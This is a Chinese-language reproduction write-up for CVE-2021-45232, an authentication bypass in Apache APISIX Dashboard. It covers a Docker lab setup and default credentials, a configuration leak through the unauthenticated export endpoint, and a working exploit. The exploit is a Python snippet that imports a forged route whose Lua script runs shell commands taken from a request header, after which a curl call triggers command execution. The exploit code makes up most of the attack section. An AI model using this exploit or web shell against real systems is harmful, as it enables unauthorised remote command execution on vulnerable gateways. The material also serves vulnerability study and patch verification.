编号: CVE-2021-45232
组件: APISIX
漏洞类型: 身份验证绕过
影响: 身份验证绕过
简述: 在2.10.1之前的Apache APISIX Dashboard中,Manager API使用了两个框架,并在框架‘gin’的基础上引入了框架‘droplet’,所有的API和认证中间件都是基于框架‘droplet’开发的,但有些API直接使用框架‘gin’的接口,从而绕过了认证。
版本影响 :
apache: 2.7.0 < APISIX Dashboard< 2.10.1 2.10.1
git clone https://github.com/apache/apisix-docker
cd ./apisix-docker/example
首先,修改该目录下配置项,如图version版本修改为2,apisix-dashboard版本修改为2.8
# 下载并启动环境
docker-compose up -d
接下来进行一些简单配置,模拟实战环境
默认登陆地址:ip:9000
默认用户名密码:admin/admin
名字随便起,一会会用到
目标节点随意,直接下一步
一路下一步,直接提交即可
路由界面即可看到我们的配置
# 直接访问即可
ip:port/apisix/admin/migrate/export
这里出现了配置文件泄漏
看一下,正是我们刚刚配置的路由,已经泄漏出来
主要利用过程就是在接口路由中执行一个扩展脚本 , 通过他执行系统命令。
这里先手动测试一下。
注意这里的的配置文件是可以修改的,script直接加上就行
然后进行访问http://ip:9000/test。(test就是上面创建的路由名称)
进入容器查看:这里注意的是。最终脚本执行不是在9000端口的容器里,而是在管理的apache/apisix 的 9080端口的容器里如图
OK,接下来就是如何在创建一个含恶意脚本的路由配置
这里用到了dashboard导入配置
根据emport导出的配置伪造一个配置文件
eval_config = {
"Consumers": [],
"Routes": [
{
"id": str(random.randint(100000000000000000, 1000000000000000000)),
"create_time": 1641259840,
"update_time": 1641260783,
"uri": "/evil",
"name": "evil",
"methods": ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"],
"script":"local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
"upstream":
{
"nodes":
[{"host": "1.1.1.1", "port": 8080, "weight": 1}],
"timeout": {"connect": 6, "send": 6, "read": 6},
"type": "roundrobin",
"scheme": "http",
"pass_host": "pass",
"keepalive_pool": {"idle_timeout": 60, "requests": 1000, "size": 320}
},
"status": 1
}
],
"Services": [],
"SSLs": [],
"Upstreams": [],
"Scripts": [],
"GlobalPlugins": [],
"PluginConfigs": []
}
# POST传递数据:
# 注意需要添加CRC32校验位
files = {"file": ("data", data + crc32, "text/data")}
resp = requests.post(url + "/apisix/admin/migrate/import", files=files)
直接攻击:
curl http://ip:port/evil -H cmd:ls
似乎是dashboard2.7版本与最新版apache apisix不兼容导致的,把dashboard改为2.7以上版本就好了,在这里我改为了2.8版本
刷新即可,千万不要在哪傻傻的等,(っ °Д °;)っ
参考文章